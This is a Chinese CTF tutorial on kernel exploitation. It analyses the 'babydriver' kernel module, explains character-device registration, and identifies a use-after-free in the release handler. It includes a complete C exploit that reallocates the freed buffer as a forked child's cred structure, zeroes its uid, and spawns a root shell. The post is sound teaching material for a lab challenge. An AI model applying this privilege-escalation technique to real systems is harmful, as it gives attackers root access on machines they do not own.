Kernel pwn基础教学之Kernel UAF

前言

这边选择的例题还是baby driver，感觉做这道题的时候有种梦回第一道栈溢出题目的感觉。但是网上很多资料讲解本题时关于字符驱动这块并没有讲解，也就造成了我一开始做这道题目的时候仅仅是照着网上的WP复现了一下并没有做到真正读懂这道题，所以这篇博客除了UAF的内容还会留出一些篇幅给字符驱动设备上。

一、题目分析

kernel pwn给出的附件不再是原先的Binary和libc，其附件中给出的文件如下所示

boot.sh     --> 启动脚本
rootfs.cpio --> 文件系统，可以从init文件中发现
bzImage     --> 压缩后的内核文件，可以使用extract_vmlinux+vmlinux_to_elf从中提取出vmlinux内核文件

首先我们解压rootfs.cpio，并查看init文件内容

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f

可以看到在启动脚本里有一个加载模块的命令insmod，而这个ko文件就是我们需要分析的二进制文件。使用ida打开它可以看到里面的函数并不算多，咱们一个个来看。

babydriver_init

首先使用alloc_chrdev_region函数动态获取了一个驱动号，然后初始化了cdev结构体，在linux中通过cdev结构体来表示一个字符设备，并使用cdev_add函数添加(注册)了字符设备，执行成功后使用_class_create函数创建相应的class，然后通过device_create函数添加设备。这里我一开始理解的时候存在一些疑问，既然在linux中是通过cdev来表示一个字符设备的，那么class存在的意义是什么？后来在查阅资料的过程中了解到linux中存在两种设备系统devfs与sysfs，而class的意义便是创建设备节点，sysfs通过class_create和device_create在设备树中创建相应的设备，应用层udev会自动根据设备树的变化生成相应的设备节点。在2.6版本以前的内核通过cdev_init和cdev_add添加字符设备以后需要手动创建设备节点，而现在则是通过使用_class_create与device_create函数往sysfs中完成设备节点创建的任务。

与init对应的便是exit，这个函数的任务就是将我们刚才所创建的东西全部回收。

babyopen

通过kmem_cache_alloc_trace函数开辟0x40的空间给babydev_struct的device_buf成员，在这里我们可以注意到babydev_struct是一个全局变量，并且其中存在buf与buf_len两个成员变量。

 

baby_read

首先会判断device_buf与device_buf_len，然后通过copy_to_usr函数将length长度的内容从device_buf读入到buffer中

 

babywrite

通过copy_from_user函数将length长度的内容从buffer读入device_buf

 

babyioctl

当我们指定的command为0x10001时会释放掉原先的buf，然后kmalloc申请指定大小的内存空间。

babyrelease

kfree释放buf但是没有置空存在UAF漏洞

 

二、漏洞利用

 

经过刚才的分析我们了解到结构体babydev_struct结构体为全局变量，并且程序在close的时候没有置空指针，造成了UAF漏洞。所以我们可以在一个进程中同时open两次babydev分别记作fd1和fd2，此时device_buf中的地址为fd2_device_buf的内存空间，而我们关闭fd1以后fd2的buf空间被释放，但是我们依然可以通过fd2进行写入。我们利用内核内存管理机制通过fork一个子进程时将cred落在fd2_device_buf上，fork出的子进程cred与父进程一致，当我们对fd2_device_buf进行写入操作也就是对子进程的cred进行操作。但是原始开辟的空间大小是0x40，所以我们在关闭fd1之前需要通过ioctl将device_buf的大小改成和cred结构体大小一样，这样在我们fork一个子进程的时候cred便会落在我们可控的内存上，将子进程的uid修改为0即可完成提权。

 

EXP：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
 
int main(){
 int fd_1 = open("/dev/babydev", 2);
 int fd_2 = open("/dev/babydev", 2);
 
 ioctl(fd_1, 0x10001, 0xa8);
 close(fd_1);
 
 int pid = fork();
 
 if (pid < 0) {
  puts("[-] fork error.");
  exit(0);
 }
 else if (pid == 0) { 
  char zero[32] = {0};
  write(fd_2, zero, sizeof(zero));
  if (getuid() == 0) {
   puts("[+] root now.");
   system("/bin/sh");
  }
 }
 else {
  wait(NULL);
 }
 
 close(fd_2);
 return 0;
}

写好exp以后进行静态编译，将其放到原先解压好的文件系统中，然后重新打包

find . | cpio -o --format=newc > rootfs.cpio
执行boot.sh启动qemu